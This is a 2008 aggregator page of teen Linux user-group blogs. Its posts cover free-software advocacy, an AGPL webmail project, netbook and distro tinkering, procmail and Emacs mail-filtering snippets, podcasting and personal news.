Planet teenLUG

Instant Messaging?

2008-11-04T00:41:11+00:00

Been meaning to write something about this for a while now.. and it’s based on the following observation: I don’t log into MSN Messenger much any more. When I do, I don’t use it that much.. Pidgin will sit there idling, with my “away” or “busy” status showing… Back in the day, it used to be something I would log into as soon as I logged onto my laptop, see who was online and probably start a conversation or two. Years ago, in what I would describe as the MSN glory days when I was still using Windows, I had Messenger Plus! installed to totally customise my MSN experience and I would at times have upwards of 30 contacts online on an evening and be talking to several of them at once. Not so much these days.

Is this typical IM conversation a familiar scenario to you?

“Hi.
Hey.
How are you?
Fine thanks, you?
Yup, fine.”
……

And what’s the point of even bothering with that??

Is instant messaging itself dying?? A lot of people now prefer to write a message on my Facebook wall or send me a message (which is essentially an email) via the same website. It doesn’t have to be instant any more.. It’s fine to post a Facebook message and wait for a reply. If people do want an instant or near-instant response they know to SMS me. The fad of being able to instantly communicate with other people via the Internet seems to me at least to be well and truly over.

Has instant messaging died out completely then? No, definitely not. I wonder if it’s just the demographic similar to me, those who have embraced Facebook and now use it for most of their online communication. I still idle in a fair few IRC channels, mainly ones related to open source projects I have an interest in and on the whole the channels I’m in now are used regularly…

So IM is not dead but it would be interesting to see what MSN traffic has been like since Facebook has really taken off.

AGPLMail

2008-11-01T21:36:40+00:00

Free software is a good thing, its empowering, I might even go as far as to say its the way things should be done. One of the biggest threats to free software at the moment is “web services”, or if you’re an airy fairy Web 2.0 person “The Cloud” (airy could, geddit?). The reason its such of a threat is because not only most open source advocates, but also a lot of free software fans are using these propretiary, remotely hosted applications. Including me.

Now, I personally think web services are a useful thing, especially since most people end up using multiple computers. But, the critical requirement for web services that respect the users freedom is that the user can take their data and run the software, in freedom, on their own server. If they can’t do this, they are locked into one vendor who may go bust at any time, this isn’t right. (A great example of doing-it-right™ is wordpress, I was able to migrate this blog, onto my own server, using free software, with great ease.)

So, a couple of weeks ago, I had one of my amazing code genius moments, and I decided to write a free software replacement for GMail. I did this because no-one else seems to be addressing this issue (except maybe the Bongo Project, but they’ve decided to rewrite the entire web front-end, so it doesn’t seem very ready at the moment).

Anyway, I know have a working (but rather hackish) email client written in php that supports conversations and archiving, which I have called AGPLMail. The name is due to the the fact its released under the AGPL (bet you’d never have guessed). For those not in the know, this is an FSF license, like GPL, but which extends the provision about users right to source code to include programs accessed over the network. This means someone can’t take my code, change it, offer it as a service, and then not contribute this. My application actually prints its own source code.

Now, the problem with my “code genius” moments, is that over about a week I write several hundred lines of codes, and then get distracted by something else, and leave it half finished. This is the fate that greeted Freedometer, something I don’t think I’ve even blogged about.

And that, is I guess the point of me writing this, I have written this code, which works and is useful, but I don’t want to be the only person involved. So, please tell me, am I doing something valuable? Is my code/overall design good or completely crap? Does anyone else want to use it (this we be a cool honour for me). Most importantly, would anyone be willing to help me develop it.

If anyone is interested, I have created the project a git repo [1], and my own copy can be found here. There is a demo account (username: demo; password: password), if anyone is interested in having a play. Any feedback would be greatly appreciated. Whether anyone else jumps onboard will make a big difference to wether AGPLMail becomes a succesful project, or just another of my abondoned projects.

[1] Noww, time to open a real can of worms. I’m hosting this project on github, which does not provide the source to there interface. However, as a git host, the data is inherentley get-at-able, and more importantly decentralised. The important thing and the reason that I don’t see github as a problem is the escapist principle. I don’t need github, if it were to go down suddenly, I’d still have my own personal repositories (which have exactly cthe same info as the github one) and could point people to them instead.

Light Emitting Pumpkin

2008-10-31T03:56:08+00:00

Power via a LEMO connector.

Mini E

2008-10-26T12:12:14+00:00

BMW is going to release an all electric Mini next year that gets up to 150 miles and a max speed of 90 mph. Sounds good? Well there are only going to be 500 and they are for lease only, and by the way they are 850 dollars a month. Sound familiar? Who is going to kill this one?

Groovy

2008-10-26T01:13:15+00:00

I had to use the language groovy for my recent class at TUI and I have to say its kinda cool. It uses Java but makes the syntax much easier to read and write. I recommend checking it out if you are a Java developer and want to make like just a little bit easier.

Website highlights iPhone inadequacies

2008-10-20T20:24:49+00:00

iPhone not so great after all?

http://pleasefixtheiphone.com/

Found this website just now.. It’s a list of the iPhone users’ top gripes with their beloved device. As I quickly scanned down the list, I saw many things which my Nokia can do quite happily, yet which frustrate iPhone users on a daily basis.

#1 Copy and paste. The N95 can do copy/paste, no problem. It takes a bit of getting used to, but it can do it.

#2 Tilt to view emails in landscape. Once again, the N95 screen will go landscape in any application, even Email. An old firmware upgrade to the N95 8gb has enabled screen auto-rotation.

#3 Ability to view Flash content. That has again been added in a firmware upgrade of the N95 8gb’s firmware.

#4 Unwanted application icons can’t be hidden. I can just bury icons of applications I don’t use in a folder on the menu so they’re not in the way all the time.

#5 Can’t use the iPhone 3G Internet connection to browse on a Macbook. But the N95 lets me access the Internet on my Asus.

I could go on and on… Guess the iPhone isn’t so great after all.

R.I.P. LUGRadio

2008-10-12T17:37:50+00:00

I know, how out of date is this post… LUGRadio finished ages ago, much to the dismay of fans. I have obviously neglected the blog as of late and meant to post something about this ages ago. But as a homage to the most brilliant of podcasts, I give you:

Jono Bacon drinking an Ubuntu beer...!

ReCaptcha

2008-10-11T12:35:40+00:00

In my ongoing fight against spam I have resorted to using captchas. Now, in one way, captchas generally do there job quite well, they are a big barrier to automated spam systems. However, they also act as a barrier to legitimate users, or just end up being fucking annoying.

The best solution in my opinion (since its the one I’m using xD), is reCaptcha. It uses words from books that failed OCR, so is unreadable by even the most sophisticated OCR tochnology (in theory). But, because it is words, it is inherently very readable by humans. Not only is it accurate and bearable, it is also helping to digitize the books the words are from (presumeably it must decide what the right answer is by taking a consensus).

Sooo, generally nice nice nice. I’m not sure why I haven’t tried it before now. Fingers crossed, and be sure to let me know if it breaks.

So, yeah, a little update from the Freedom Dreamer. There might be more posts coming soon, there might not.

Happy Birthday Fedora

2008-09-24T15:46:36+00:00

I have used every version of Fedora since Fedora Core 1. I made the switch from Red Hat Linux 9 to Fedora Core when it was released and have used it on one machine or another ever since then, Fedora has always helped to push the envelope and make GNU/Linux better, keep up the great work!

Timezones with Procmail

2008-09-17T17:00:08+00:00

I use procmail to manage my incoming email and mutt to read it. Unfortunately mutt doesn’t handle dates from different timezones very well, so I came up with this procmail recipe using Ruby’s Time#parse method to convert the Date header to the current timezone: DATE_=`formail -xDate: \ ...

Really?

2008-09-16T21:35:46+00:00

“I support Free software”, really? “I am a free software enthusiast”, really? I hate the current state of the free software community, people use GNU/Linux and that becomes “good enough”, just because we are on the right track we are fine, some free software is better than none right? No its not! What if CERN found out information that would change the way we understand the universe, but gave us “just enough” to know we were wrong, what if someone developed a cure for cancer but gave us “just enough” to fight it? In both cases it would be inexcusable, so why are we settling for this when it comes to free software? People seem to feel better about themselves because they use OpenOffice or GNU software but then when it comes down to it they install Abode Flash or Skype. Are you really supporting free software? Do you really think that it’s making a difference? Isn’t that just a big slap in the face to free software? It’s like saying that you want to help cut down carbon emissions and driving off in a new Hummer.

If we really want to support free software we need to stop giving into proprietary software vendors. If you truly want to support free software don’t download Skype, get a SIP client like ekiga, don’t support Adobe use an alternative like Gnash. We need to show vendors that we are not going to play their game, free software is no longer a niche market, projects like Ubuntu have made GNU/Linux very popular and as companies like Microsoft continue to drive consumers away this interest is only going to rise. As a community we need to speak up and let it be known that we are not going to take it anymore, you cannot have it both ways, freedom is an absolute and we need to start treating it that way.

Teen GNU/Linux Groups Co-Operation

2008-09-13T16:19:14+00:00

So, I’ve never blogged about the results of the TeensOnLinux merger (with TeenLinux) vote. This is because, I was wrong in my assumption that most people in ToL wanted a merge, and I had nothing more to say about it. However, my former enemy cactaur (aka he was very vocally opposed to a merge) has written a very observant blog post about the situation we are currently in. (Apologies for taking all this time to reply to it.)

To be honest, I’m not even convinced that a merge would be as beneficial as I once thought. However, as cactaur rightly notes, the way we are currently so divided is certainly not good. He manages to some up very nicely what makes the two groups different - ToL doesn’t speak much about GNU/Linux, wheras TL does. This, he suggests, means tthat ToL and TL can work together with TL being an on-topic group and ToL being an off-topic group.

I would suggest going one step further, the two groups can be kept distinct, but should both gather as one community under one banner (ie. name). Cactaur’s argument for keeping the names distinct is that ToL has invested a lot of resources into the branding. Whilst this is the case, he misses the fact that TeenLinux, meanwhile has not got any realy investment in the name (apart from domain names of course), and, as far as I can tell, most people in TL aren’t that attatched to the name, it was simply chosen to be dilomatic during the merge between TeenLUG and TeenLinuxLounge.

So, my suggestion is this, we should both use the Teens on Linux name. How do we keep the two groups distinct? TL can become TeensOnLinux.Com and the current ToL can become TeensOnLinux.net (since it is more of an off-topic network). The current .org domain name can be a splash page, explaining the existence of the two groups. The IRC channels would similarily be renamed to the .com and .net names, with pointers in the topic to the other one (e.g. If you would prefer more on/off-topic chat, please see #teensonlinux.com/.net).

I would be interested in what others think of this idea. In my opinion, its a both nice and plausible compromise, and if we can go ahead with it, I feel it would help put an end to all the tension between groups.

Unintended Consequences

2008-09-10T19:20:58+00:00

So, unintended consequences. This is always an annoying thing, something you do or say just is misterpreted and causes something you don’t want. As a random example, two friends of mine were discussing, on Monday, when to have a meeting (of a Fairtrade group as it happens). A says “on Tuesday?”, B says “tommorow?” and A responds, “nah maybe on Wednesday instead”. Person B was simply trying to clarify, and proceeded to state as much, but person A went and choose Wednesday, consequntly clashing with another group!!! WTF!?!

So, another recent example of this would be Spore. I’m not going to debate the ethics of Spore in respect to software freedom, because that would take for ever. Instead, I’m thinking about people’s perception that spore is hinting at Intelligent design. Tihs is a tricky one, because I’m sure this wasn’t intended (but, you never know), but is rather hard to avoid - you have to have a designer in a simulation based game, because otherwise its not a game, just a simulation!

So, a final tangental topic. It would be the ultimate unintended consequence if a Physics[1] experiment destroyed the world, I am of course thinking of the LHC. Now the big thing here is that the chances of this actually happening are similar to an evil wizard killing us all (since both require large parts of our recent scientific understanding to be wrong). However, surely the LHC could have managed the story a bit better… or maybe they couldn’t - people do love a, sensationalist story, and people can understand End of the World much easier than actual science. The biggest irony about this whole thing is that if the LHC were to create a large black hole, it wouldn’t happen today “Switch on Day”, but in a month’s time when the first collisions happen, or maybe even later when the energy is increased.

So, to sum up, I hate conclusions.

[1] I always seem to do Physics with a capital P - should I? Am I just a Physics fanboy?

It always takes longer than you expect

2008-09-07T21:42:29+00:00

So yeah, I’m writing another blog post. Theres been a longer delay than normally between posts. Even once I decided to write this post there was a longer than normal delay to me actually getting it written (who knows how long before its actually published and you read this). If you haven’t guessed already, this is going to be another post of a collection of random things going through my mind, squashed to fit in under one title. Perhaps not the most elegant way of writing a blog post, but it works for me. And I don’t know if anyone will find it interesting, but at least I get to write some of my thoughts down (which I still haven’t got into the routine of doing properly).

My blog is now popular, but not in a good way. I have 2976 spam comments waiting for moderation, thats not good (…bloggers thats not good). And, I’ve not got round to installing a proper spam control mechanism yet, so I guess they will have to stay there. I could use akismet, but I don’t like it, because it is a third party service.

Then there’s my podcast. The last episode was later than usual, especially since neither of us are on holiday. We had to record over two seperate nights, which we have only done once before, but, we did do an interview. Also, its taken much longer than expected to sort out the sound issues(noise and echo). It looks now like we need to get a proper sound card, but they are sooooo expensive. £100 for a four input one, yeah, I can probably sort out the money, but it seems a lot to pay, before I even start thinking about microphones!! Anyone have any ideas?

Something I finally got round to doing recently is updating my facebook pic (I know, I know, it hates freedom…. or does it), from a not so flattering one, to a rather nice one. Perhaps I should finally get round to creating a hackergochi for myself; maybe with my head in a sock? (freedom socks related) - or would that look too silly?

The final thing thats been taking me a long time to achive is my goal of having my primary system fully free. At the momnt, the only thing that is stopping me is wireless card firmware,so hopefully in the next few days I will get round to ordering a nice atheros based card. The one I’m thinking of getting is supposed to have good range (and with three aerials on the back! I’m tempted to believe it), so hopefully this will sort out the annoying connection problem I have so often (apparently I’m the person that joins/leaves most in ##teenlinux). Ironically, I have just and only just worked out a way to get my internet to reconnect without a reboot (modprobe all three relevant modules and restart network manager, although I’m not sure if it’s just a fluke.

Actually, I lie when I say its the final thing, there is something else, but it deserves its own blog posts. (Although, this may be one of the times I say that and it never happens.)

boxee

2008-09-02T19:00:05+00:00

Top-posting

2008-09-02T19:00:05+00:00

Top posting is the bane of internet mailing lists, the horrors of which are made clear in this example: A: Because it messes up the order in which people normally read text. Q: Why is top-posting such a bad thing? A: Top-posting. ...

Get out of jail

2008-09-02T19:00:05+00:00

Prettifying URLs

2008-09-02T19:00:05+00:00

Whenever I am writing web apps I always find myself thinking that the filenames in URLs detract from the whole experience. Is there really any need for .html, or .php to be seen by the browser so long as the server knows what it needs to do? I am always writing ...

New Digs

2008-09-02T19:00:05+00:00

I now share a VM with teenlug.com on a wonderful bytemark for a very reasonable price. I now have decent loading times of images.

Searching for the Perfect Distro

2008-09-02T19:00:05+00:00

Since my previous post where I said I would be keeping the default Xandros installation on my EeePC I have installed Eeebuntu. I have been using it for about 2 days now, and after using paludis for a few months it is quite clear how catastrophically abysmal apt really is. ...

Theeeming

2008-09-02T19:00:05+00:00

The default theme for IceWM on the EeePC is an ugly Luna (Windows XP) clone. So I am mashing together the AsusBlue (for the taskbar) and eiskristall for window decorations. At the moment it looks like this: Get the latest source from my darcs repository and put the directory in /usr/share/icewm/themes and ...

The Eee Has Landed

2008-09-02T19:00:05+00:00

My EeePC has arrived today. And I can quite safely say it is the best thing I have ever bought. I was considering putting another distro on here (Gentoo), but now I have been using it all day I don't really think it needs anything else. I even found the “advanced” ...

Amarok in dzen

2008-09-02T19:00:05+00:00

I use this little script with dzen and dmplex to show the current song info in a little bar at the top of my right-hand screen. You need to make sure you have dcop up and running. #!/bin/zsh while true; do ARTIST=$(dcop amarok player artist) ALBUM=$(dcop amarok player album) ...

EeePC

2008-09-02T19:00:05+00:00

I just ordered myself an EeePC 4G 701 (not Surf) which should arrive tomorrow. I will be installing Gentoo with the filesystem extended over the internal SSD and an external SD card with lvm2 for 6GBs of encrypted goodness. Stay tuned.

boxee

2008-09-01T18:49:15+00:00

I was recently invited to the boxee (Flash warning) alpha test. Currently the only free platform they support is Ubuntu GNU/Linux, but they do offer unsupported source code download. Unfortunately attached to the download page was a license agreement which, among other things, prevented redistribution and modification of the code. Normally this isn’t really a big deal, I would just boycott the software, but boxee is based off XBMC which is licensed under the GNU GPL and so boxee is obliged to release their modifications under the same license. The license agreement on the site (and in the ./license/ directory in the source code) violated the GPL, and so is against the law.

I started a thread on the subject and emailed boxee with my complaints, after a lengthy ~~argument~~ discussion on the forum I received a reply from boxee expressing their sincerest apologies on the matter and told me the error will be fixed in a matter of days. They then proceeded to make a public apology in my forum thread. I am mightily suprised and impressed with their response, and wish that other companies in the same situation would handle GPL violations in the same way.

That wasn’t the end of the problems though, I have yet to be able to compile it on my x86 Gentoo box. I will be submitting a patch when I do.

Identi.ca

2008-09-01T00:40:56+00:00

We all love twitter but its time to move on. Identi.ca is an open source micro blogging application like twitter (just open source). If you use twitter I say move to Identi.ca and add me as a friend.

http://identi.ca/zoglesby

Moved

2008-08-30T20:42:14+00:00

I moved to word press. I had some issues with Chyrp. More to come later.

Git, in here

2008-08-23T20:46:48+00:00

I have been using darcs for revision control for a while now, but I am starting to wonder why. Its become apparent that Git is the standard for version control so I think that its time that I start to learn how to use it. Over the next few weeks I am going to work on moving darcs.zachoglesby.com to (you guessed it) git.zachoglesby.com for all my projects, as well as use gitweb (I think that darcsweb was based off that anyway). Darcs is great don't get me wrong but it seems like everyone is going to git so why fight the system.

Specsavers Website Innovation

2008-08-18T19:09:53+00:00

I was told, in my weekly meeting with my line manager, about a new feature on the Specsavers website. Thought I’d share…

It allows you to try on frames virtually, from the comfort of your own home which is a great idea. A customer at work today even said, that it being her first pair of glasses, she felt embarrassed trying on frames in the store with other people around so she’d try them online and come back in.

You can actually order and pay for the glasses on the website too, then you come into the store to complete the order and arrange for collection. So this is Specsavers taking on the online-only retailers of glasses.

First: upload a photo of yourself (or use the stock images). Here’s a really bad one of me I just took on my phone. Still in my uniform look…

Second: select the centres of your pupils in the photo.

Finally: try frames on by clicking the “Try” button. You can adjust where the frame is on the picture till it looks right. You can also add the frames to a list to compare them.

Here’s one of me wearing the £125 Osiris 605 frame. You can switch between different colours, but this frame only comes in black. My actual frames are way cooler than these, but they’re not on the website and we don’t have any in stock at the moment either, so there…

And you even get a copy to print out with all the frame details on it to bring into store so we can make them up for you. Shove that D&A!

Know Your Frame Choices

^ Some useful info if you’re looking at getting new glasses..

Specsavers focuses on automation

^ For the open source advocates reading this…

Specsavers focuses on Australian expansion

^ One of our managers is leaving to start his own store in Aus.. Lucky git!

A Handy Wordpress Plugin

2008-08-17T20:49:33+00:00

Some fellow has made a pretty nifty Flickr plugin for Wordpress. Install it up & authenticate it. Simple stuff. Low and behold, you get a little Flickr icon when you’re writing a post, adding a photo from your Flickr collection is a few clicks away. Brilliant.

In other news & using the aforementioned plugin, check out my chilli plant - now featuring a couple of *red* chillies! Mmm, they look so tasty. Can’t wait for harvest time..

Tidying cables

2008-08-17T20:35:33+00:00

Before: what a mess…

It’s nowhere near as fun as you’d think. My back still aches from being under my desk for ages sorting out cables.. Still not amazingly tidy but it’s definitely an improvement. And the worst thing is, I’ve run out of power sockets. So I’ll have to start daisy chaining which isn’t a great idea. Hope the electrics in this house can cope… Probably better than my last house when I had all that and more running from just the one power socket there was in the room which must have been built when all people had to power was their bedside lamp.

After: oh look, some carpet!

Distro Search

2008-08-14T23:32:42+00:00

My desktop hates Arch for some unkown reason, and with work and school I don't have the time to mess with it, so I went on a search and ended up installing Fedora 9 on it. Red Hat 7.1 was my first steps into GNU/Linux so the moment the install started lots of memories came back (I installed 7.1 many times and compiled the kernel a lot as well. Laptop support was not very good back then). Needless to say Fedora 9 is a huge step forward from that time. It a very well put together distro and looks nice as well. It may not be as simple as Arch but I think that I can live with that.

Breaking Stuff

2008-08-12T21:01:33+00:00

I haven’t posted for a while, mainly due to using my podcast, Freedom Socks, as a means of expression, and I’m afraid that today you’ve got a fed up rant.

Firstly, i think I managed to cause my pc to power off by having a plasma ball too close. I also managed to get a bit of interference on my podcast from it (when I say a bit, I mean *very* loud, bit we didn’t have it switched on for long), on top of the fuzzy sound from my on board sound card.

Then, I decided to try using networking scripts intsead of network manager, so that it wouldn’t wouldn’t drop the wireless connection when I plugged an ethernet cable in, and then not being able to reconnect (I’m not sure why).

So, whilst I was messing around with the networking scripts, I plugged an old hard drive in to look at one I had on there. Unfortunately, this meant opening up the side of my pc, and whilst doing this, I knocked my brocken SATA cable connector out of the electrical tape that was holding it in place, and thus lost my primary hard drive.

The cable connector has to be in just the right place for the contacts to touch, so I could not get it to work again, no matter how much tape I used, without holding it in place myself. After much frustrastion, I realised that I could achieve a temporary soltion by plugging the cable in the other way around.

All this messing with with the hard drive caused a bit of corruption. Firstly, there a lot of fscking when I finally booted my system back up. Secondly, some of the files in /var/lib/dpkg/info/ are now corrupted, some containing weird SATA errors. This means that I couldn’t use the package manager. I managed to lessen this issue by removing corrupted files, and reinstalling some packages, however, I still get warnings all over the place.

Also, these are not the only files that are corrupted. I have got a few suspicous errors from other programs (mplayer and gconf). In fact, mplayer refused to play video due to one of them, so I might have quite a problem and end up having to abadon this install (of debian). I could just switch back to gnewsense partition, but jokosher did not seem to work very well with that…. don’t get me started on jokosher.

And the reason I started all this messing that got me into this trouble? To have a go with some more pxe booting on that brocken laptop.. I’ve actually ended up doing nothing with it.

Im typing this in dvorak, which is still slower than my qwerty was. I haven’t done much deliberate work on it since becoming able to touch type though. I also now fail at qwerty. I was hoping to be able to do both well, but it isn’t looking promosing at the moment.

So, yeah, I’m a bit fed up.

Today I…

2008-08-11T20:49:39+00:00

Today I…

woke up,

went back to sleep,

woke up again,

got up,

had a shower,

made lunch,

walked to work,

worked,

walked home,

watched a bit of tv and…

…wasted a few minutes of your precious time by making you read this post. Come again!

Mwuaha…

Some useful things to bookmark

2008-08-11T20:32:45+00:00

Figured it was about time I sorted my Firefox bookmarks and that is a *huge* task. I’ve deleted loads that don’t work anymore and attempted to sort out the remaining horde of mostly what I’d call “things which might come in handy one day“… Whilst doing so I found some old gems which I think everyone should have in their bookmarks.

http://downforeveryoneorjustme.com/ - much easier than asking someone on IM if they can connect to a site that’s down for you. Useful for when the Internet decides to be annoying.

http://www.tempemail.biz/ - it’s a must-have if you need to register for a site you’ll never visit again.

http://www.bugmenot.com/ - or you could see if there’s already a shared login on bugmenot.

http://www.doineedajacket.com/ - better than a weather forecast, it’s all you need to know when you’re about to head into the outside world.

http://www.picturesofwalls.com/ - random thing I found ages ago, some photos of funny graffiti out and about.

…I got distracted from bookmark-tidying by doing this post, so my bookmarks are still a mess. *sigh*

Freerunners and Robots

2008-08-10T19:13:18+00:00

I’ve had my Openmoko Freerunner, named tobin, for probably a month now, and at the moment, while usability is largely horrible, it’s progressing at a very fast pace. The 2008.8 version of the software just came out recently, and while it looks very pretty, it’s a bit of a step down in usability, though I understand it’s a step up in the underpinnings? Maybe, we’ll see. What I’m most excited about using tobin for though is a robot.

Tobin has USB host support, so it should be trivial, once the FTDI serial kernel module is installed, to hook up an Arduino (or even better, a Sanguino:http://sanguino.cc bwahahah) and use it as a robot controller. Tobin could run autonomously, using all the sensors available from an Arduino, plus GPS and audio input. Or it could be controlled via bluetooth or wifi from a remote system. Say, my laptop in my backpack connected to an Arduino which is connected to a Wii Nunchuk? Then there are the possibilities of running a web server from tobin, and then maybe tobin is powerful enough to stream a web cam. That would be most awesome. A little robot, roaming the halls of a dorm.

The possibilities for control are pretty huge with the Freerunner, but I need a “driving base” to put all this on. Something with powerful motors. Like the ones in the industrial robots I’ve got. As soon as I got out of work after coming up with that idea, I started ripping one apart. I freed one of the brush-less DC motors, and was slightly disappointed to find it wasn’t a self contained servo I could use PWM with. It’s windings were directly connected to a board that had all the components to receive the ARCnet commands and control the windings. After large amounts of research, I found that a brushless DC motor is not as simple to control as a brushed DC motor. It requires a microprocessor that knows what position the shaft is in to pulse the windings in a certain pattern. Luckily though, I found the optocouplers that control the IGBTs (heavy-duty transistor like things) and was able to get pins for them, so I’ve got an Arduino hooked up where I can turn on and off the motor windings. Now the part I’m stuck on is figuring out how to find the shaft position in a way that will let me “commute” the windings appropriately.

This is where my new (used) oscilloscope came in very handy. The motor has an attached incremental encoder and using a scope to figure out what it was outputting was way easier than it would have been with a micro. The problem now is that the encoder only outputs the correct positions for the windings for a microsecond after you give it power. Once it’s told you what the winding states should be it just outputs a standard quadrature encoder signal. It seems from here I should be able to use the starting positions of the windings and the quadrature output to determine the positions, but I havn’t got that all figured out yet.

Other things I have to figure out are batteries for the 140v motors in the robot, and how much of the motor control, sensor collection and processing and communication a signal Arduino can handle. Maybe a dual core or triple core Arduino is necessary. But those tasks seem surmountable, which is exciting, because this robot would be completely kick-ass once built. More updates soon!

Almost back

2008-08-08T14:54:41+00:00

Well my wife and I are in our new house, and we should have internet in the house friday, so I will be back around then, and if you are family we will have are phone set up then too, so you may get a phone call from us. In other news the teen linux merger went threw, so make sure to check that out.

Edit: We now have internet in the house and are Vonage phone is set up.

Dvorak and Change

2008-08-03T13:43:27+00:00

So, I decided to learn the Dvorak keyboard layout. I’m writing this post in it….. vvveeeerrrryyyy slowly. I’ve just about got to the point where I can use Dvorak to chat on IRC, but I still have a deep sypathy for those who can’t touch type.

I am trying Dvorak just for the fun of it - its supposed to be better than qwerty, anh although I think that its probably true, I don’t see any benefits yet due to the steep learning curve… I guess thats how many people feel about Linux or free software in general. Fear of change is not completely irrational… effort is required to make that change. All we can try to do is reduce the work involved as much as possible; but more importantly, wemust make it evident to people that their effort will be worthwhile.

I would write a bit more, but it is painstakingly slow…..

In ether news, the third episode of Freedom Socks, my free software podcast, has been released. Have a listen and please tell me what you think.

Top-posting

2008-07-30T12:48:29+00:00

Top posting is the bane of internet mailing lists, the horrors of which are made clear in this example:

A: Because it messes up the order in which people normally read text.

Q: Why is top-posting such a bad thing?

A: Top-posting.

Q: What is the most annoying thing in e-mail?

Luckily GNU Emacs provides tools to combat top-posting and other uglifications like badly wrapped lines in uglify.el packaged with the gnus email client.

I made a mutt.el emacs-lisp file with this in it (thanks to #emacs):

(defun deuglify ()
  "Deuglify messages in batch mode"
  (with-current-buffer
      (get-buffer-create "*Article*")
    (condition-case nil
        (while t
          (insert
           (read-string "") "\n"))
      (error))
    (gnus-outlook-deuglify-article t)
    (princ (buffer-string))
    )
  )

Which provides a function (deuglify) that will be invoked in Emacs’ batch mode, like so:

/usr/bin/emacs --batch --load ~/.emacs.d/elisp/mutt.el --eval '(deuglify)'

We can then use procmail which is used by a number of MTAs to create a recipe to pipe all of our messages through:

:0fbhw
| /usr/bin/emacs --batch --load ~/.emacs.d/elisp/mutt.el --eval '(deuglify)'

This will pipe the message headers and body into Emacs and output a pretty email into your inbox you have defined.

Just a few Bits and Bobs

2008-07-26T20:51:58+00:00

Both a lot and a lot of nothing has happened to me during the past few weeks; last week I went to Mallorca and enjoyed the reasonably sunny weather; the highlights were an island tour and a ride on a 90MPH speed boat. Overall it was a pretty good holiday, although I'm sure that I would've prefered to take the money and travel by myself somewhere. Going on an adventure (and the thrill of planning

Jokosher

2008-07-25T23:21:08+00:00

Jokosher is one of those really annoying applications at the moment. The ones that look all nice and lovely, and seem like they should be able to do exactly what you want…. only, they’re not finished.. and they crash every few seconds. Today I’ve been recording my Freedom Socks podcast with it, and it has been interesting, to say the least…

Firstly, yesterday, we started off using the Jokosher from the repos. It sucked, it literally crashed every minute or so, which was very frustrating, as the software looks so nice. However, I finally got the svn version, which runs slightly better, and ended up recording, today, using that.

Then, once we had recorded everything, it froze up, and I tried re-opening it, but that failed. I then changed computers (I could not stay at my friends house forever xD) and tried opening it on my pc. This involved creating an extra directory in home, since Jokosher uses static links to files :(. And, of course, I had the same problem. I eventually solved that, by deleting the levels directory.

So, yeah, Jokosher has so much potential, but is currently so much annoyance… I guess trunk being more stable than an actual release kindof tells you something. However, for what I want (recording from multiple sound cards, and mixing), it seems the best free tool. I’ll probably end up persevering and using it again next time.

Merge?

2008-07-23T16:29:02+00:00

Ben Webb make a good point that we are wasting time with so many diffrent communites for teenage GNU/Linux users. I would like to know if the Teen Linux Lounge community and the ToL community would be interested in coming together. I have alreay talked to the KING of ToL and he wants no part of it but as far as I see it your a community and his word should not be final. I think this would be best for all three groups. As far as for what teenLUG has to offer, we have a good number of knowledgable GNU/Linux users that want to help other people use free software. Let me know what you think.

No More McDonalds

2008-07-22T18:18:28+00:00

I should have done this long ago. Every time I get McDonalds for lunch at work someone has a dig at me about it. Maybe they’re just jealous because I eat so much crap and don’t put much weight on, heh. But the other day I had a change of heart and decided to turn over a new leaf. I signed a piece of paper which said, words to the effect of “from this day forward I will not eat at McDonalds ever again. (Except on Sunday mornings before work)”. Sunday mornings are a tradition and if there’s been drinking the night before, it’s actually quite a nice start to the day.. In general though, I’ve been having way too much fast food lately, it’s not only expensive but it’s not that nice either.. I may not put on weight from eating McDonalds but it’s probably not doing me a whole lot of good; so I am never having McDonalds for lunch or dinner ever again. Burger King is still a maybe but I am going to cut down. It’s official. I’m off now to make my lunch for work tomorrow, a nice bagel with some ham and salad, oh and Reggae Reggae Sauce!!

Revisiting

2008-07-22T17:05:49+00:00

Firstly, a couple of updates on recent posts - I gave up getting my new wifi to work upstairs, its just too frustrating. I’ve also had further problems with the fan on my downstairs computer. The new fan is larger than the previous one, and catches on the motherboard, causing the machien to overheat again. However, I think I managed to solve this problem by wedging some paper underneath the powersupply.

So, I’m on school holiday now, so I have the time to resurrect a couple of projects I started a while ago. The first is multistanza, my free version of ubuntu’s multiverse repo. Now that I run gnewsense, not having packages like vlc or mplayer in main or universe is becoming quite annoying. I rewrote a substantial part of my multistanza creation script, so that it doesn’t require root, and doesn’t accidently include the non-free povray. My rewrite should also make it easier to support multiple archectures, as I am now working out the package url and wgetting it, rather than relying on the system-specific apt-get cache. I am also using my new(ish) hosting to host a repository - multistanza.freedomdreams.co.uk - but I must be careful not to pull too much bandwidth. I wonder if the people at gnewsense would be willing to host it for me.

The other thing I’ve had another look at is my Freedometer. This is a program that will scan your system, tell you how free it is, and help you make it more free. I wrote some code for it a while ago, but never publicised it. What I’ve done recently is clean up the code a little, and build a proper website, so that I can publicise it to try to find other people to work on it with me. At the moment, its written in python and only works fully on debian based distrobutions.

Frustrations

2008-07-20T15:21:51+00:00

Well, this weekend has been an interesting one. I finished school on the friday, ate pizza and watched Wall-E. On the Saturday, me and Joe went to Lugradio Live, which was really cool. Now you may wonder what either of these things has to do with the title of my blog post, well not much. There were a couple of minor annoyances with lugradio live, such as the fact I only went for one day and I didn’t manage to meet up with Fred.

However, the main topic of this blog post is about my frustration with my computer setup. Firstly, something that has been annoying me for a while know. Being quite a novice to the insides of computers, I managed to snap off part of my SATA hard drive data cable, so the connection is loose, and I have to constanly stick it down with tape (which only works so well). Soo, if anyone in the Manchester area has a spare sata cable…… otherwise, I may end up buying one from amazon.

The other annoyance is wireless. I did have both my computers networking working perfectly fine with ubuntu, but I hope to switch to gnewsense, and both computers have freedom hating network cards. One is plugged directly into the router downstairs, but the ethernet card requires non-free firmware; the other, a desktop upstairs, is connected via wireless (and is some distance from the router) - the wireless card, of coures, also required firmware.

So, I bought a Linksys WUSB54G, a usb card that seemed to be highly recommend by the FSF. And yes, it did work with gnewsense, didn’t require any firmware, but its wireless capabilities are quite frankly crap. It is not usable upstairs. With a lot of palaver I managed to get it working in one minute bursts, but only with WPA turned off. Now, AFAICT, neither of these problems are due to the drivers, since it works fine on my downstairs computer, when right next to the router. This is useful to an extent, since it allows me to use gnewsense, despite the non-free ethernet, but I had hoped to be able to use the linksys card on both computers.

So, I don’t know what to do, I hoped to try to use 100% free software for a certain length of time, but at the moment, I still need 24576 characters of non-free firmware for my freedom hating wireless card. Is there anything I can do to improve the reception of the linksys one? Solder a new antenna on? baked bean cans?… has anyone got any ideas?

*sigh*

Beta

2008-07-19T20:46:50+00:00

I moved to a beta version of Chyrp today so some stuff may be a little odd (I have not noticed anything) but if anything is let me know.

The Last HOPE

